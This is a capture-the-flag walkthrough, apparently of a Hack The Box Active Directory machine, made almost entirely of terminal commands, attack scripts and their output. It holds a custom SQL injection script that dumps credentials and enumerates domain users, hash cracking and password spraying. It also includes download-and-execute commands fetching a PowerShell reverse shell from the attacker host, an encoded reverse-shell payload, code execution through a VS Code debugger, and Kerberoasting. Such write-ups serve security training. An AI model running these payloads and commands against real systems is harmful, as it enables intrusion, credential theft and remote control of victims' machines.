    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    ❯ nxc smb 10.10.10.179
    SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
    
    ❯ ldapsearch -x -H ldap://10.10.10.179 -s base | grep defaultNamingContext
    defaultNamingContext: DC=MEGACORP,DC=LOCAL
    ❯ cat /etc/hosts | grep multimaster
    10.10.10.179 multimaster.megacorp.local megacorp.local
    ❯ whatweb http://10.10.10.179
    http://10.10.10.179 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.179], Microsoft-IIS[10.0], Script, Title[MegaCorp], X-Powered-By[ASP.NET], X-UA-Compatible[IE=edge]
    userenum.py
    import requests
    import json
    
    # URL del endpoint
    url = "http://10.10.10.179/api/getColleagues"
    
    # Cabeceras de la solicitud
    headers = {
        "Content-Type": "application/json;charset=utf-8",
        "Origin": "http://10.10.10.179",
        "Referer": "http://10.10.10.179/",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    }
    
    # Generar letras de la A a la Z
    letters = [chr(i) for i in range(ord('A'), ord('Z') + 1)]
    
    # Lista para almacenar correos electrónicos únicos
    emails = set()
    
    print("Iniciando enumeración de usuarios...")
    
    for letter in letters:
        # Cuerpo de la solicitud con la letra actual
        data = {"name": letter}
    
        try:
            # Enviar la solicitud POST
            response = requests.post(url, headers=headers, json=data)
    
            # Verificar si la respuesta es válida
            if response.status_code == 200:
                # Parsear la respuesta JSON
                users = response.json()
                
                # Extraer correos electrónicos
                for user in users:
                    email = user.get("email")
                    if email:
                        emails.add(email)  # Añadir el correo a la lista
            else:
                print(f"Error en la solicitud con letra {letter}: {response.status_code}")
        except Exception as e:
            print(f"Error al procesar la letra {letter}: {e}")
    
    # Mostrar los correos electrónicos extraídos
    print("\nCorreos electrónicos encontrados:")
    for email in sorted(emails):
        print(email)
    ❯ chmod +x userenum.py
    
    ❯ python3 userenum.py
    Iniciando enumeración de usuarios...
    
    Correos electrónicos encontrados:
    aldom@megacorp.htb
    alyx@megacorp.htb
    ckane@megacorp.htb
    cyork@megacorp.htb
    egre55@megacorp.htb
    ilee@megacorp.htb
    james@megacorp.htb
    jorden@megacorp.htb
    kpage@megacorp.htb
    minato@megacorp.htb
    nbourne@megacorp.htb
    okent@megacorp.htb
    rmartin@megacorp.htb
    sbauer@megacorp.htb
    shayna@megacorp.htb
    zac@magacorp.htb
    zpowers@megacorp.htb
    ❯ cat users.txt | awk '{print $1}' FS='@' | sponge users.txt
    
    ❯ cat users.txt
    aldom
    alyx
    ckane
    cyork
    egre55
    ilee
    james
    jorden
    kpage
    minato
    nbourne
    okent
    rmartin
    sbauer
    shayna
    zac
    zpowers
    ❯ kerbrute userenum --dc 10.10.10.179 -d megacorp.local users.txt
    
        __             __               __     
       / /_____  _____/ /_  _______  __/ /____ 
      / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
     / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
    /_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
    
    Version: v1.0.3 (9dad6e1) - 01/13/25 - Ronnie Flathers @ropnop
    
    2025/01/13 14:14:57 >  Using KDC(s):
    2025/01/13 14:14:57 >  	10.10.10.179:88
    
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	cyork@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	ckane@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	aldom@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	kpage@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	alyx@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	james@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	jorden@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	nbourne@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	ilee@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	okent@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	zac@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	rmartin@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	sbauer@megacorp.local
    2025/01/13 14:14:57 >  [+] VALID USERNAME:	zpowers@megacorp.local
    2025/01/13 14:14:57 >  Done! Tested 17 usernames (14 valid) in 0.212 seconds
    1' UNION ALL SELECT 1,2,3,4;-- -
    1' UNION ALL SELECT 1,2,3,4,5;-- -
    1' UNION ALL SELECT 1,@@version,db_name(),4,5;-- -
    1' UNION ALL SELECT 1,name,3,4,5 FROM master..sysdatabases;-- -
    1' UNION ALL SELECT 1,name,3,4,5 FROM Hub_DB..sysobjects WHERE xtype ='U';-- -
    1' UNION ALL SELECT 1,name,3,4,5 FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Logins');-- -
    1' UNION ALL SELECT 1,username,password,4,5 FROM Logins;-- -
    ❯ catnp resultBBDD.txt | jq | grep 'name' | awk '{print $NF}' | tr -d '",' > usersBBDD.txt
    
    ❯ catnp resultBBDD.txt | jq | grep 'position' | awk '{print $NF}' | tr -d ' ",' > passwordsBBDD.txt
    ❯ hashcat -a 0 -m 17900 passwordsBBDD.txt /usr/share/wordlists/rockyou.txt
    ...[snip]...
    9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1
    68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1
    fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1                                           
    ...[snip]...
    ❯ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
    SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
    SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\aldom:password1 STATUS_LOGON_FAILURE 
    ...[snip]...
    SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\sbauer:banking1 STATUS_LOGON_FAILURE 
    SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\shayna:banking1 STATUS_LOGON_FAILURE 
    ...[snip]...
    1' UNION ALL SELECT 1,2,3,4,(select default_domain());-- -
    1' UNION ALL SELECT 1,2,3,4,(select sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')));-- -
    Convert SID Hex to SID
    import struct
    import sys
    
    def hex_to_sid(sid_hex):
        # Convertir el SID hexadecimal a bytes
        sid_bytes = bytes.fromhex(sid_hex.replace("0x", ""))
        
        # Extraer la versión del SID
        version = sid_bytes[0]
        
        # Extraer el identificador de autoridad
        identifier_authority = int.from_bytes(sid_bytes[2:8], 'big')
        
        # Contar las subautoridades
        subauthority_count = sid_bytes[1]
        
        # Extraer las subautoridades
        subauthorities = struct.unpack('<' + 'I' * subauthority_count, sid_bytes[8:])
        
        # Construir el SID en formato legible
        sid = f'S-{version}-{identifier_authority}' + ''.join(f'-{sub}' for sub in subauthorities)
        return sid
    
    if __name__ == "__main__":
        if len(sys.argv) != 2:
            print("Uso: python3 convert.py <SID_HEX>")
            sys.exit(1)
    
        # Leer el argumento de la línea de comandos
        sid_hex = sys.argv[1]
        
        # Convertir y mostrar el resultado
        try:
            sid = hex_to_sid(sid_hex)
            print(f"SID: {sid}")
        except Exception as e:
            print(f"Error: {e}")
    ❯ python3 convert.py 0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
    SID: S-1-5-21-3167813660-1240564177-918740779-500
    ❯ cat request.txt; echo
    POST /api/getColleagues HTTP/1.1
    Host: 10.10.10.179
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/json;charset=utf-8
    Content-Length: 12
    Origin: http://10.10.10.179
    Connection: keep-alive
    Referer: http://10.10.10.179/
    Sec-GPC: 1
    Priority: u=0
    
    {"name":"a"}
    ❯ python3 /opt/mssqli-duet/python/mssqli-duet.py -p 'name' -i "a'" -e unicode -r request.txt -rid 1000-1200 -t 3
    [+] Beginning enumeration - Start time:  Mon, 13 Jan 2025 16:40:22
    [+] Collected request data:
    Target URL = http://10.10.10.179/api/getColleagues
    Method = POST
    Content-Type = application/json;charset=utf-8
    Cookies =  None
    Request data = {"name":"a"}
    
    
    [+] Determining the number of columns in the table...
    	[!] Number of columns is  5
    [+] Determining column type...
    	[-] Column type not null
    	[!] Column type is 1
    [+] Discovering domain name...
    	[+] Domain = MEGACORP
    [+] Discovering domain SID...
    S-1-5-21-3167813660-1240564177-918740779-
    
    [+] Enumerating Active Directory via SIDs...
    [+] Determining users...
    
    MEGACORP\\DnsAdmins
    MEGACORP\\DnsUpdateProxy
    MEGACORP\\svc-nas
    MEGACORP\\tushikitatomo
    MEGACORP\\andrew
    MEGACORP\\lana
    
    [+] Determining network hosts...
    MEGACORP\\MULTIMASTER$
    
    [+] Determining groups...
    MEGACORP\\Privileged IT Accounts
    
    
    [!] Finished!
    
    Mon, 13 Jan 2025 16:51:44
    RID Enum MSSQL
    import json
    import requests
    from time import sleep
    # URL de destino al que se enviarán las peticiones.
    url = 'http://10.10.10.179/api/getColleagues'
    
    # Esta función se encarga de codificar el payload de la petición.
    def encode_me(str):
        val = []
        # Iteramos sobre cada carácter en la cadena 'str'.
        for i in str:
            # Convertimos cada carácter a su equivalente en hexadecimal y lo agregamos con el prefijo "\\u00".
            val.append("\\u00"+hex(ord(i)).split("x")[1])
        
        # Unimos todos los valores generados en una cadena final.
        return ''.join([i for i in val])
    
    # Iteramos sobre una serie de números del 1000 al 1200.
    for i in range(1000,1200):
        i = hex(i)[2:].upper()  # Convertimos el número a su representación hexadecimal y lo convertimos a mayúsculas.
        if len(i) < 4:
            i = '0' + i  # Aseguramos que siempre tengamos cuatro caracteres en el número hexadecimal.
    
        # Reversamos los bytes del número hexadecimal.
        t = bytearray.fromhex(i)
        t.reverse()  # Invertimos los bytes.
        t = ''.join(format(x,'02x') for x in t).upper()+'0'*4  # Formateamos los bytes invertidos en mayúsculas.
    
        # Construimos el SID a partir del número hexadecimal procesado.
        sid = '0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t)
    
        # Creamos el payload que se enviará en la petición, buscando la función SUSER_SNAME.
        payload = "hello' UNION SELECT 1,SUSER_SNAME({}),3,4,5--".format(sid)  
        r = requests.post(url,data='{"name":"'+ encode_me(payload) + '"}',headers={'Content-Type': 'Application/json'})
    
        # Convertimos la respuesta a un objeto JSON para obtener el nombre del usuario.
        user = json.loads(r.text)[0]["name"]
    
        # Si se encontró un usuario, lo imprimimos.
        if user:
            print(user)
    
        # Hacemos una pausa entre las peticiones para evitar ser detectado por sistemas de seguridad (WAF).
        sleep(3)
    ❯ python3 ridenum_mssql.py
    MEGACORP\MULTIMASTER$
    MEGACORP\DnsAdmins
    MEGACORP\DnsUpdateProxy
    MEGACORP\svc-nas
    MEGACORP\Privileged IT Accounts
    MEGACORP\tushikikatomo
    MEGACORP\andrew
    MEGACORP\lana
    ❯ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
    ...[snip]...
    SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\tushikikatomo:finance1 
    ...[snip]...
    ❯ ldapdomaindump -u 'sequel.htb\tushikikatomo' -p 'finance1' 10.10.10.179 -o ldap
    [*] Connecting to host...
    [*] Binding to host
    [+] Bind OK
    [*] Starting domain dump
    [+] Domain dump finished
    
    ❯ cd ldap
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    ❯ evil-winrm -i 10.10.10.179 -u 'tushikikatomo' -p 'finance1'
                                            
    Evil-WinRM shell v3.7
                                            
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\alcibiades\Documents> type ../Desktop/user.txt
    2b2455fff8**********************
    *Evil-WinRM* PS C:\inetpub\wwwroot> ls
    Access to the path 'C:\inetpub\wwwroot' is denied.
    At line:1 char:1
    + ls
    + ~~
        + CategoryInfo          : PermissionDenied: (C:\inetpub\wwwroot:String) [Get-ChildItem], UnauthorizedAccessException
        + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
    *Evil-WinRM* PS C:\Program Files> ls
    
    
        Directory: C:\Program Files
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    d-----        9/25/2019  10:59 AM                Common Files
    d-----         1/9/2020   2:39 PM                Internet Explorer
    d-----         1/7/2020   9:40 PM                Microsoft
    da----         1/7/2020   7:47 PM                Microsoft SQL Server
    d-----         1/7/2020   7:26 PM                Microsoft Visual Studio 10.0
    da----         1/9/2020   3:18 AM                Microsoft VS Code
    d-----         1/7/2020   7:27 PM                Microsoft.NET
    d-----         1/7/2020   9:43 PM                Reference Assemblies
    d-----        7/19/2021   1:07 AM                VMware
    d-r---         1/9/2020   2:46 PM                Windows Defender
    d-----         1/9/2020   2:39 PM                Windows Mail
    d-----         1/9/2020   2:39 PM                Windows Media Player
    d-----        7/16/2016   6:23 AM                Windows Multimedia Platform
    d-----        7/16/2016   6:23 AM                Windows NT
    d-----         1/9/2020   2:39 PM                Windows Photo Viewer
    d-----        7/16/2016   6:23 AM                Windows Portable Devices
    d-----        7/16/2016   6:23 AM                WindowsPowerShell
    *Evil-WinRM* PS C:\Program Files\Microsoft VS Code> (Get-Command .\Code.exe).version
    
    Major  Minor  Build  Revision
    -----  -----  -----  --------
    1      37     1      0
    *Evil-WinRM* PS C:\Users\alcibiades\Documents> ps
    
    Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
    -------  ------    -----      -----     ------     --  -- -----------
        314      30    49612      73404               180   1 Code
        612      41    38972      82612               520   1 Code
        285      51    58000      74612              3144   1 Code
        406      22    15100      24416              3288   1 Code
        418      55   133956     170140              6368   1 Code
        200      15     6164      12856              6860   1 Code
    ...[snip]...
    ❯ ls
     cefdebug.exe   README.md
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IWR -Uri http://10.10.16.5/cefdebug.exe -OutFile cef.exe
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    ❯ tail -n 1 rev.ps1
    Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.5 -Port 443
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev.ps1")
    At line:1 char:1
    + function Invoke-PowerShellTcp
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    This script contains malicious content and has been blocked by your antivirus software.
    At line:1 char:1
    + IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev. ...
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
        + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color>
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49918
    Windows PowerShell running as user tushikikatomo on MULTIMASTER
    Copyright (C) 2015 Microsoft Corporation. All rights reserved.
    
    PS C:\Windows\System32\spool\drivers\color>whoami
    megacorp\tushikikatomo
    ❯ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
    
    SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> powershell -e <BASE64_CODE>
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49937
    Windows PowerShell running as user tushikikatomo on MULTIMASTER
    Copyright (C) 2015 Microsoft Corporation. All rights reserved.
    
    PS C:\Windows\System32\spool\drivers\color>
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe
    cef.exe : [2025/01/13 11:09:28:7999] U: There are 3 tcp sockets in state listen.
        + CategoryInfo          : NotSpecified: ([2025/01/13 11:...n state listen.:String) [], RemoteException
        + FullyQualifiedErrorId : NativeCommandError
    [2025/01/13 11:09:48:8442] U: There were 1 servers that appear to be CEF debuggers.
    [2025/01/13 11:09:48:8442] U: ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('whoami > C:\\Windows\\System32\\spool\\drivers\\color\\gzzcoo.txt')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3
    
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ls
    
    
        Directory: C:\Windows\System32\spool\drivers\color
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    -a----        1/13/2025  11:09 AM         259584 cef.exe
    -a----        7/16/2016   6:18 AM           1058 D50.camp
    -a----        7/16/2016   6:18 AM           1079 D65.camp
    -a----        7/16/2016   6:18 AM            797 Graphics.gmmp
    -a----        1/13/2025  11:13 AM             16 gzzcoo.txt
    -a----        7/16/2016   6:18 AM            838 MediaSim.gmmp
    -a----        7/16/2016   6:18 AM            786 Photo.gmmp
    -a----        7/16/2016   6:18 AM            822 Proofing.gmmp
    -a----        7/16/2016   6:18 AM         218103 RSWOP.icm
    -a----        7/16/2016   6:18 AM           3144 sRGB Color Space Profile.icm
    -a----        7/16/2016   6:18 AM          17155 wscRGB.cdmp
    -a----        7/16/2016   6:18 AM           1578 wsRGB.cdmp
    
    
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> type gzzcoo.txt
    megacorp\cyork
    *Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49824
    Windows PowerShell running as user cyork on MULTIMASTER
    Copyright (C) 2015 Microsoft Corporation. All rights reserved.
    
    PS C:\Program Files\Microsoft VS Code>whoami
    megacorp\cyork
    PS C:\inetpub\wwwroot\bin> ls
    
    
        Directory: C:\inetpub\wwwroot\bin
    
    
    Mode                LastWriteTime         Length Name                                                                  
    ----                -------------         ------ ----                                                          
            
    d-----         1/7/2020   9:28 PM                roslyn                                                                
    -a----        2/21/2013   7:13 PM         102912 Antlr3.Runtime.dll                                                    
    -a----        2/21/2013   7:13 PM         431616 Antlr3.Runtime.pdb                                                    
    -a----        5/24/2018   1:08 AM          40080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll                
    -a----        7/24/2012  11:18 PM          45416 Microsoft.Web.Infrastructure.dll                                      
    -a----         1/9/2020   4:13 AM          13824 MultimasterAPI.dll                                                    
    -a----         1/9/2020   4:13 AM          28160 MultimasterAPI.pdb                                                    
    -a----        2/17/2018   8:14 PM         664576 Newtonsoft.Json.dll                                                   
    -a----       11/27/2018  11:30 PM         178808 System.Net.Http.Formatting.dll                                        
    -a----       11/27/2018  11:28 PM          27768 System.Web.Cors.dll                                                   
    -a----        1/27/2015   2:34 PM         139976 System.Web.Helpers.dll                                                
    -a----       11/27/2018  11:31 PM          39352 System.Web.Http.Cors.dll                                              
    -a----       11/27/2018  11:31 PM         455096 System.Web.Http.dll                                                   
    -a----        1/31/2018  10:49 PM          77520 System.Web.Http.WebHost.dll                                           
    -a----        1/27/2015   2:32 PM         566472 System.Web.Mvc.dll                                                    
    -a----        2/11/2014   1:56 AM          70864 System.Web.Optimization.dll                                           
    -a----        1/27/2015   2:32 PM         272072 System.Web.Razor.dll                                                  
    -a----        1/27/2015   2:34 PM          41672 System.Web.WebPages.Deployment.dll                                    
    -a----        1/27/2015   2:34 PM         211656 System.Web.WebPages.dll                                               
    -a----        1/27/2015   2:34 PM          39624 System.Web.WebPages.Razor.dll                                         
    -a----        7/17/2013   4:33 AM        1276568 WebGrease.dll 
    ❯ smbserver.py smbFolder $(pwd) -smb2support
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    PS C:\inetpub\wwwroot\bin> copy MultimasterAPI.dll \\10.10.16.5\smbFolder\MultimasterAPI.dll
    ❯ ls -l MultimasterAPI.dll
    .rwxrwxr-x kali kali 14 KB Thu Jan  9 22:22:44 2020  MultimasterAPI.dll
    ❯ nxc smb 10.10.10.179 -u users.txt -p 'D3veL0pM3nT!' --continue-on-success
    ...[snip]...
    SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT! 
    ...[snip]...
    ❯ bloodhound-python -c All -ns 10.10.10.179 -u 'tushikikatomo' -p 'finance1' -d megacorp.local --zip
    INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
    INFO: Found AD domain: megacorp.local
    INFO: Getting TGT for user
    WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
    INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
    INFO: Found 1 domains
    INFO: Found 1 domains in the forest
    INFO: Found 1 computers
    INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
    INFO: Found 28 users
    INFO: Found 57 groups
    INFO: Found 2 gpos
    INFO: Found 10 ous
    INFO: Found 19 containers
    INFO: Found 0 trusts
    INFO: Starting computer enumeration with 10 workers
    INFO: Querying computer: MULTIMASTER.MEGACORP.LOCAL
    INFO: Done in 00M 16S
    INFO: Compressing output into 20250113181515_bloodhound.zip
    ❯ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    Password:
    No entries found!
    ❯ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' set object "jorden" servicePrincipalName -v "cifs/gzzcoo"
    [+] jorden's servicePrincipalName has been updated
    
    ❯ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    Password:
    ServicePrincipalName  Name    MemberOf                                      PasswordLastSet             LastLogon  Delegation 
    --------------------  ------  --------------------------------------------  --------------------------  ---------  ----------
    cifs/gzzcoo           jorden  CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL  2020-01-10 01:48:17.503303  <never>               
    
    
    
    [-] CCache file is not found. Skipping...
    $krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$2a6e1db70bc6b71b9dde07b99f410654$9c192702404f1ad82ae704a5cc8f6cb84ab26ab33e52864e7371fbad87df5b2f893a148f5f752784ec5e9f4a1f65479f357ec58103478ffebfec3b5801b54416f2c1f82ea7a7a83903717992feb83029c3b845d09db12ab3314d26953e819e78db0be5d32b02e3c1e3c4b290cd49f4cb74b0d843c55c6816d8f2c5c987047fd925178e89025601cdd958ed26d055403964842e297d2702734db02b9f23b127a22e56c5a4110cc9354f4f62931534820587d99243a6dca00fe7d209fb069f17b36b0743c7b6d2b4b8627dff9741d585967168d4a6fea18dbfcfa63160fabaa92317882f95adac2a5aae29b00527f7163e026d20287f0c772fea5f45527e3544cf1b4155510238ede88d8c40c73bfc80ed5cfd4efea78e77f0b539731ebb1165571e8b90d023f4784b744818cc9cd17ed3b91f67c1595f729b02eec154fef1b06ad4830b024892e8e1ff6601af120fbbf25ef7d444d3e99d625ecf8fcf7dd837bebc8f19a4eab05f2d63c628ce8361ded918ee7441d2a64c6d73ee71c576598c13bc04b6e98b84bb1340ac0ead118efcf3d1ece3789c297504a309c92247d0e021854c4d931caca5f87d6401cf8bdd17d9e6d4cba8270d2482636cd47cecf3f0b96c1807164ea04e7a09f44e7bfd4361ff0ae9ac23de5d51c5cbbecf51f17f3145eac49ddb20f0ab03f7697fe9298ed68a1110a90e8b49c528698e189742efc019a59c3f4cfb4edfc23307d14557b9bb3d8e5d12c4a5f4614ed1fefd90fb42217c0fa3031a317d0db5c96fed0e579a1b77d41a883e9f62dfe7d94d9a65c716c457712e2d86cdf242be44dd4ec530eebd5bd9ef61b31d1b39a8e6a8dc350533ffd782c9bd42b040b462fdb1a44454412bf6a6d4f709273b8cdebc827cdd2e9357fa834f58651320aeb836c2e66f383d6fe5b38eff2f625d604cd5cef2206f1e3a9f9e69a80a630bf4f9d9c16b1010488edb3d4af5667df8ea8b37f365294d655410366a47991dec36cc09058c321b99fbc8641b6c0df3d73e158cd9ed754a1cbd394587610f1643f3d06191911b21d3e446ce0b85c065f3848c61aa5f1b2a7dbc1d34a9079f3f9645ebffa9c2ead6e1f8fecfba87127f6ed9870d6c0ee34690dc589eeb153880ee92c5ef9841a0e17b0c87365f45d55d4e42c2c9aae388b52a353c8268b7bd769fc186d55e6dd835e8e0c750bc6eb24f67aba0c502d4f09f7ab793b328abd920862b9401255677bed9b92f097a40e8cbf67746e371d85858c2bcf49d426d344fd52341cf722bf426df7efdca897be63777960bacb12890979917e3a6d59bd7dace8255d551230af4db1f8faf45cd9815a39e0e0713d738fbee36b1cfd67e2f57d49f8d37418a494a
    ❯ python3 /opt/targetedKerberoast/targetedKerberoast.py --dc-ip 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!'
    [*] Starting kerberoast attacks
    [*] Fetching usernames from Active Directory with LDAP
    [+] Printing hash for (jorden)
    $krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$be06863d92e9721cc729f5e1eec12a2a$718d4eb0c3399da1f6cd0d3bee36bf1ec785617a598d1af2f7489db8ad0f92b36fb3e6dcf8e415d545062a304dbe127d7ad35e4647d57745093f0feeae5358914a33c3037a42edba8208cc411a9794d3fe0fb0f9c580e84184c6739dff9fbd2d66a4f89cd32a39a19c112fcb576bce48ac5ad0b7ae0ff0dbc9e8de85b1ca7423f82b78af866ccd9c71ceb05f8241121fd4ec9d9754d85ce8482b83676e8ba1d4c68783f174c5b12c89fa2dd72570107d2689304411ade47e1aa2ae120da74b7b718fd2547f960ce5c73c296f861b6c16483600bc9f109c8884b676e463a5ff354eec41d26ff87c88ff6d2dd4555e46c2aada265ceffd16f4ebe221ce999d9018bd6ea8125bd5f9c8e8e3cd10abf8c40c503d5e4bb18a430b140ad9dabc51131c45bfb105ea7d2f384b669fc7db91647b70f8929cb25c760313f1b6f836e28b40009b39337dcdf9fa4ca51a2cfffaa245b4024fd653141ad1e70d0753dd47b35002a55c5e124ffbe925d38a5aec3022892870f2e69773038c0009886e58cdebbda89030a2a8a8c0cbb97f8b16c2c0b341ff51eb90afb3303787ab942a14a5b24a17a2d9df4c2aa1358b70cf0958c3e8e88d1a9b5556d6751bb572bc91db79a3035e16d00ecd57f1eb7174cad879dea5a37e41e6842b8d2761ac0a00fe069436378c8d754b4c3614847e9660b62b302e2177410818115502d06312075a0e7af46f855cced6978e01d1df9a0c0ad4d9b4deb7c47bc9f19711f5edbe41b0df905d5d552351de2201ca0471266a64279970fdd7a1d600470a60f7b87e0393bf75fa773ff121a4cfacdb3f443659ca3c53da14a695179e7772382aa88e43ef86f3e462e2a37d39e22ea7589ac7e649e35b6113f656b6deb69b0ea5f42e55c88fea06716b37b1a089e6da8442983f0f8c1868a86455d766f17aa6c5ab965fc27a2058f70faaa0d24241e7cb594ccfdd33566b6a9b9595610b1f63968b2d2c27e0954d2bf009de3c438f6fbce841e5d4f3277c8e90554a